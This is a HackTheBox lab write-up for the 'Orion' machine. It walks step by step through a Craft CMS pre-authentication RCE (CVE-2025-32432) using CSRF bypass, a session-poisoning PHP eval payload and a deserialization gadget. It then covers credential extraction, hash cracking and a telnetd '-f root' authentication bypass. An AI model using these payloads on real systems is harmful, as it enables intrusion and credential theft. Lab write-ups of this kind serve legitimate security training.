HackTheBox Writeup - Orion

Synopsis

Orion is a Linux machine on Hack The Box that highlights the exploitation of Craft CMS and a local authentication bypass in Telnetd. The foothold involves bypassing CSRF checks and leveraging insecure deserialization in Craft CMS (CVE-2025-32432) to obtain unauthenticated Remote Code Execution (RCE). Post-exploitation enumeration leads to database credentials, which reveal a reused bcrypt password hash for the user adam. Finally, privilege escalation is achieved by exploiting a vulnerable version of GNU inetutils telnetd (CVE-2026-24061) allowing authentication bypass to root.

---

Enumeration

Port Scanning

An Nmap scan of the target IP reveals two open ports:

• Port 22/tcp: SSH (OpenSSH 8.9p1)
• Port 80/tcp: HTTP (nginx 1.18.0)

$ nmap -sCV 10.129.13.121
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://orion.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)

To resolve the domain, add it to /etc/hosts:

echo "10.129.13.121 orion.htb" | sudo tee -a /etc/hosts

Web Enumeration

Visiting http://orion.htb displays a landing page for “Orion Telecom”. Inspecting the footer shows that it is powered by CraftCMS.

Fuzzing the directories using ffuf reveals the admin control panel redirect:

$ ffuf -u http://orion.htb/FUZZ -w directory-list-2.3-medium.txt -ic
admin                   [Status: 302, Size: 0]

Visiting /admin redirects to /admin/login. At the bottom of the page, the version is leaked: Craft CMS 5.6.16.

---

Foothold (CVE-2025-32432)

Craft CMS versions < 5.6.17 are vulnerable to a critical pre-authentication RCE vulnerability (CVE-2025-32432) via the generate-transform action.

1. CSRF Validation Bypass

Before we can send requests to /index.php?p=actions/assets/generate-transform, we must bypass CSRF checks. This requires:

1. Sending a GET request to /index.php?p=admin/dashboard to initialize a new session and capture the CraftSessionId cookie.
2. Following the 302 redirect to /admin/login keeping the cookie to parse the CRAFT_CSRF_TOKEN hidden field value.
3. Sending the token value in the X-CSRF-Token header of subsequent requests.

2. Session Poisoning

Because the generate-transform LFI endpoint expects a local file path, we poison the PHP session file by making a request to the dashboard with our PHP payload:

GET /index.php?p=admin/dashboard&cmd=<?=eval($_GET['cmd']);die()?> HTTP/1.1
Host: orion.htb

This forces Yii to write the return URL containing the PHP payload (<?=eval($_GET['cmd']);die()?>) into the session file. Since the Yii return URL is loaded from $_SERVER['REQUEST_URI'], we must send this query parameter unencoded so it is written as raw PHP code rather than %3C%3Fphp.

The session file is written to /var/lib/php/sessions/sess_<CraftSessionId>.

3. Deserialization & LFI Trigger

Using the behavior injection vector, we target the GuzzleHttp\Psr7\FnStream or yii\rbac\PhpManager gadget chains:

{
    "assetId": 11,
    "handle": {
        "width": 1,
        "height": 1,
        "as gadget": {
            "class": "craft\\behaviors\\FieldLayoutBehavior",
            "__class": "yii\\rbac\\PhpManager",
            "__construct()": [
                {
                    "itemFile": "/var/lib/php/sessions/sess_hp39kck11i0qlsolgjoni8ckvn"
                }
            ]
        }
    }
}

We send the POST request to:

POST /index.php?p=actions/assets/generate-transform&cmd=system("id; whoami; hostname; pwd"); HTTP/1.1

This causes PhpManager to require the poisoned session file, triggering the PHP code execution.

Output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data
orion
/var/www/html/craft/web

---

Privilege Escalation (User: adam)

1. Database Credentials Extraction

We check the Craft CMS .env file located in /var/www/html/craft/ via RCE:

cat /var/www/html/craft/.env

Credentials found:

CRAFT_DB_DRIVER=mysql
CRAFT_DB_SERVER=127.0.0.1
CRAFT_DB_PORT=3306
CRAFT_DB_DATABASE=orion
CRAFT_DB_USER=root
CRAFT_DB_PASSWORD=SuperSecureCraft123Pass!

2. Password Hash Cracking

We query the users table in the orion database:

mysql -u root -pSuperSecureCraft123Pass! orion -e "SELECT * FROM users;"

We retrieve the administrator account’s credentials:

• Username: admin (or adam@orion.htb)
• Password Hash: $2y$13$e9zuohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/B42LUg0lS

Using hashcat to crack the bcrypt hash (mode 3200):

hashcat -m 3200 hash.txt rockyou.txt

The cracked password is: darkangel

3. SSH Access

We check if adam reused this password for system authentication via SSH:

ssh adam@orion.htb
# Password: darkangel

Login is successful and we can read the user flag:

adam@orion:~$ cat user.txt
478f6ba67e377ce931fe1a4d593d0b4b

---

Privilege Escalation (Root)

1. Local Service Enumeration

We list local listening ports:

adam@orion:~$ netstat -tulnp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:23            0.0.0.0:*               LISTEN      -

Port 23 is running GNU inetutils telnetd locally:

adam@orion:~$ telnet --version
telnet (GNU inetutils) 2.7

2. Exploiting CVE-2026-24061

GNU inetutils telnetd 2.7 is vulnerable to a remote authentication bypass (CVE-2026-24061). The utility passes the USER environment variable directly to login(1). By crafting the environment variable as -f root, we trick login into executing:

login -f root

The -f flag tells login to skip authentication for the specified user (root).

From our session as adam, we execute:

USER="-f root" telnet -a 127.0.0.1

This logs us directly into the system as root without password prompt:

root@orion:~# id
uid=0(root) gid=0(root) groups=0(root)

root@orion:~# cat /root/root.txt
089a9fdbf04852f138530e69331c0d75

Both flags have been captured successfully!